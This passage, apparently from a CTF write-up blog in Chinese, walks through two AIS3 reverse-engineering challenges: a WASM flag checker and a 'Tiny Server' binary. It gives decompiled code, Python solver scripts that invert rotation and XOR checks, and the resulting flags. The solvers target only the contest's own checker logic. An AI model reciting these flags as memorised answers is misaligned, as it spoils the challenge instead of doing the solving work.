    long long current_block;             // 當前處理的 64-bit 區塊
    int shift_amount;                    // 左旋轉的位元數

    // 初始化 target 比對值
    targets[0] = 0x69282A668AEF666A;
    targets[1] = 0x633525F4D7372337;
    targets[2] = 0x9DB9A5A0DCC5DD7D;
    targets[3] = 0x9833AFAFB8381A2F;
    targets[4] = 0x6FAC8C8726464726;

    // 檢查輸入為空指標（NULL）
    if (input_addr == 0) {
    loc_500001B2:
        result = 0;
    } else {
        // 計算輸入長度
        int len = strlen((char*)input_addr);

        // 必須正好是 40 bytes 才處理（5 個區塊 × 8 bytes）
        if (len == 40) {
            input_ptr = input_addr;
            block_index = 0;

            // 依序處理每個 8-byte 區塊
            while (block_index < 5) {
                // 取出第 i 個區塊（64-bit）
                current_block = *(long long*)(input_ptr + block_index * 8);

                // 產生該區塊的旋轉位元數
                shift_amount = (unsigned int)(shift_base >> (block_index * 6)) & 0x3F;

                // 左旋轉該區塊
                long long rotated = rotl64(current_block, shift_amount);

                // 比對旋轉結果與目標值是否相符
                if (targets[block_index] != rotated) {
                    result = 0;
                    __g0 = stack_frame + 24;
                    return result;
                }

                block_index++;
            }

            // 全部比對成功
            result = 1;
        } else {
            // 長度不符，直接錯誤
            goto loc_500001B2;
        }
    }

    // 回復暫存區
    __g0 = stack_frame + 24;

    return result;
}

驗證的邏輯：首先檢查輸入的字串長度是否為 40 個字元，然後將這 40 個字元分成 5 組，每組 8 個字元。每組會被當作一個 64 位元的整數，經過位元右旋操作後，拿來與一組預先定義的目標值做比對。

Payload :

  
def rotr64(x, n):
    return ((x >> n) | ((x & ((1 << n) - 1)) << (64 - n))) & 0xFFFFFFFFFFFFFFFF

shift_base = (-39934163) & 0xFFFFFFFF          # 當成 32-bit 無號數
targets_hex = [
    "69282A668AEF666A",
    "633525F4D7372337",
    "9DB9A5A0DCC5DD7D",
    "9833AFAFB8381A2F",
    "6FAC8C8726464726",
]

shift_amounts = [ (shift_base >> (6*i)) & 0x3F for i in range(5) ]
targets = [int(x, 16) for x in targets_hex]

orig = [ rotr64(t, s) for t, s in zip(targets, shift_amounts) ]
flag  = b"".join(x.to_bytes(8, "little") for x in orig).decode()

print(flag)

Flag:

AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

AIS3 Tiny Server - Reverse

把題目給的檔案丟進去 IDA main funation :

  
// bad sp value at call has been detected, the output may be wrong!
int __cdecl sub_12B0(int a1, int a2)
{
  int v2; // esi
  int v3; // eax
  char *v4; // eax
  void *v5; // ecx
  const char *v6; // edx
  int v7; // esi
  int v9; // eax
  int v10; // esi
  __pid_t v11; // eax
  int v12; // ebx
  int v13; // ebx
  socklen_t *addr_len; // [esp+4h] [ebp-140h]
  int fd; // [esp+8h] [ebp-13Ch]
  int fda; // [esp+8h] [ebp-13Ch]
  const char *fdb; // [esp+8h] [ebp-13Ch]
  const char *fdc; // [esp+8h] [ebp-13Ch]
  socklen_t v19; // [esp+18h] [ebp-12Ch] BYREF
  sockaddr addr; // [esp+1Ch] [ebp-128h] BYREF
  char buf[264]; // [esp+2Ch] [ebp-118h] BYREF
  int *v22; // [esp+134h] [ebp-10h]
  int v23; // [esp+13Ch] [ebp-8h]

  v22 = &a1;
  v2 = a1;
  fd = a2;
  if ( a1 <= 1 )
  {
    v7 = 9999;
    v4 = getcwd(buf, 0x100u);
    v19 = 16;
    v5 = v4;
LABEL_11:
    __printf_chk(1, "serve directory '%s'\n", v5, v4);
    v9 = sub_1CA0(v7);
    fda = v9;
    if ( v9 <= 0 )
    {
      perror("ERROR");
      exit(fda);
    }
    __printf_chk(1, "listen on port %d, fd is %d\n", v7, v9);
    v10 = 10;
    signal(13, (__sighandler_t)((char *)&dword_0 + 1));
    while ( 1 )
    {
      v11 = fork();
      if ( !v11 )
      {
        while ( 1 )
        {
          v13 = accept(fda, &addr, &v19);
          sub_2760(v13, (int)&addr);
          close(v13);
        }
      }
      if ( v11 > 0 )
      {
        __printf_chk(1, "child pid is %d\n", v11, v23);
        if ( !--v10 )
          goto LABEL_17;
      }
      else
      {
        perror("fork");
        if ( !--v10 )
        {
          while ( 1 )
          {
LABEL_17:
            v12 = accept(fda, &addr, &v19);
            sub_2760(v12, (int)&addr);
            close(v12);
          }
        }
      }
    }
  }
  v3 = *(_DWORD *)(a2 + 4);
  if ( (*(_BYTE *)v3 != 45 || *(_BYTE *)(v3 + 1) != 104 || *(_BYTE *)(v3 + 2)) && strcmp((const char *)v3, "--help") )
  {
    v4 = getcwd(buf, 0x100u);
    v19 = 16;
    v5 = v4;
    if ( v2 == 2 )
    {
      addr_len = (socklen_t *)v4;
      v6 = *(const char **)(fd + 4);
      if ( (unsigned __int8)(*v6 - 48) > 9u )
      {
        fdb = *(const char **)(fd + 4);
        v7 = 9999;
        v4 = (char *)chdir(v6);
        v5 = (void *)fdb;
        if ( v4 )
        {
          perror(fdb);
          exit(1);
        }
      }
      else
      {
        v4 = (char *)strtol(v6, 0, 10);
        v5 = addr_len;
        v7 = (int)v4;
      }
    }
    else if ( v2 == 3 )
    {
      v7 = strtol(*(const char **)(fd + 8), 0, 10);
      fdc = *(const char **)(fd + 4);
      v4 = (char *)chdir(fdc);
      v5 = (void *)fdc;
      if ( v4 )
      {
        perror(fdc);
        exit(1);
      }
    }
    else
    {
      v7 = 9999;
    }
    goto LABEL_11;
  }
  sub_2930();
  return 0;
}

~~其實我不太會逆向~~ 在一堆function中挖啊挖啊挖到在算 flag 的 sub_1E20 function

  
_BOOL4 __cdecl sub_1E20(int a1)
{
  unsigned int v1; // ecx
  char v2; // si
  char v3; // al
  int i; // eax
  char v5; // dl
  _BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
  _DWORD v8[11]; // [esp+12h] [ebp-3Eh]
  __int16 v9; // [esp+3Eh] [ebp-12h]

  v1 = 0;
  v2 = 51;
  v9 = 20;
  v3 = 114;
  v8[0] = 1480073267;
  v8[1] = 1197221906;
  v8[2] = 254628393;
  v8[3] = 920154;
  v8[4] = 1343445007;
  v8[5] = 874076697;
  v8[6] = 1127428440;
  v8[7] = 1510228243;
  v8[8] = 743978009;
  v8[9] = 54940467;
  v8[10] = 1246382110;
  qmemcpy(v7, "rikki_l0v3", sizeof(v7));
  while ( 1 )
  {
    *((_BYTE *)v8 + v1++) = v2 ^ v3;
    if ( v1 == 45 )
      break;
    v2 = *((_BYTE *)v8 + v1);
    v3 = v7[v1 % 0xA];
  }
  for ( i = 0; i != 45; ++i )
  {
    v5 = *(_BYTE *)(a1 + i);
    if ( !v5 || v5 != *((_BYTE *)v8 + i) )
      return 0;
  }
  return *(_BYTE *)(a1 + 45) == 0;
}

解密邏輯（核心）：對密文做一次自製XOR加密的逆操作

  
v1 = 0;
v2 = 51;
v3 = 114;
while (1) {
    *((_BYTE *)v8 + v1++) = v2 ^ v3;
    if (v1 == 45) break;
    v2 = *((_BYTE *)v8 + v1);
    v3 = v7[v1 % 0xA];
}

Payload:

  
def solve_flag():
    key_string = "rikki_l0v3"
    key_bytes = [ord(c) for c in key_string]
    # key_bytes will be: [114, 105, 107, 107, 105, 95, 108, 48, 118, 51]

    initial_dword_v8 = [
        1480073267,  # 0x58363433
        1197221906,  # 0x475F6812
        254628393,   # 0x0F2D3229
        920154,      # 0x000E0A5A
        1343445007,  # 0x5015380F
        874076697,   # 0x341D3219
        1127428440,  # 0x43335158
        1510228243,  # 0x5A053113
        743978009,   # 0x2C584419
        54940467,    # 0x03465F33
        1246382110   # 0x4A47481E
    ]

    initial_v8_bytes = []
    for val_dword in initial_dword_v8:
        initial_v8_bytes.append(val_dword & 0xFF)
        initial_v8_bytes.append((val_dword >> 8) & 0xFF)
        initial_v8_bytes.append((val_dword >> 16) & 0xFF)
        initial_v8_bytes.append((val_dword >> 24) & 0xFF)
    # len(initial_v8_bytes) will be 44

    byte_from_v9 = 20  # First byte of v9 (0x0014)

    generated_flag_bytes = [0] * 45

    # These are the v2 and v3 values used for the XOR operation in each iteration
    # current_v2_operand and current_v3_operand are set *before* the XOR
    
    # Initialization for the first iteration (v1_idx = 0 at the top of the C loop)
    current_v2_operand = 51  # Initial v2 from C code
    current_v3_operand = 114 # Initial v3 from C code

    v1_loop_idx = 0 # Represents 'v1' at the start of each loop iteration in C
    while True:
        generated_flag_bytes[v1_loop_idx] = current_v2_operand ^ current_v3_operand
        
        # Corresponds to v1++ in C
        v1_after_increment = v1_loop_idx + 1 
        
        # Corresponds to if (v1 == 45) break; in C
        if v1_after_increment == 45:
            break
            
        # Prepare current_v2_operand and current_v3_operand for the *next* iteration
        # This corresponds to:
        # v2 = *((_BYTE *)v8 + v1);  (where v1 is v1_after_increment)
        # v3 = v7[v1 % 0xA]; (where v1 is v1_after_increment)

        if v1_after_increment < 44: # Reading from initial_v8_bytes
            current_v2_operand = initial_v8_bytes[v1_after_increment]
        else: # v1_after_increment must be 44 here
            current_v2_operand = byte_from_v9
            
        current_v3_operand = key_bytes[v1_after_increment % 10]
        
        v1_loop_idx += 1 # Move to next iteration index

    # Convert bytes to characters
    flag_chars = [chr(b) for b in generated_flag_bytes]
    flag = "".join(flag_chars)
    return flag

# 取得 Flag
reversed_flag = solve_flag()
print(f"The flag is: {reversed_flag}")

Flag:

AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

CTF

This post is licensed under CC BY 4.0 by the author.

Web

Tomorin db 🐧

Login Screen 1

Pwn

Format Number

Welcome to the World of Ave Mujica🌙

Misc

Ramen CTF

AIS3 Tiny Server - Web / Misc

Welcome

Crypto

SlowECDSA

Stream

Hill

Random_RSA

Rev

Web flag checker

AIS3 Tiny Server - Reverse

Trending Tags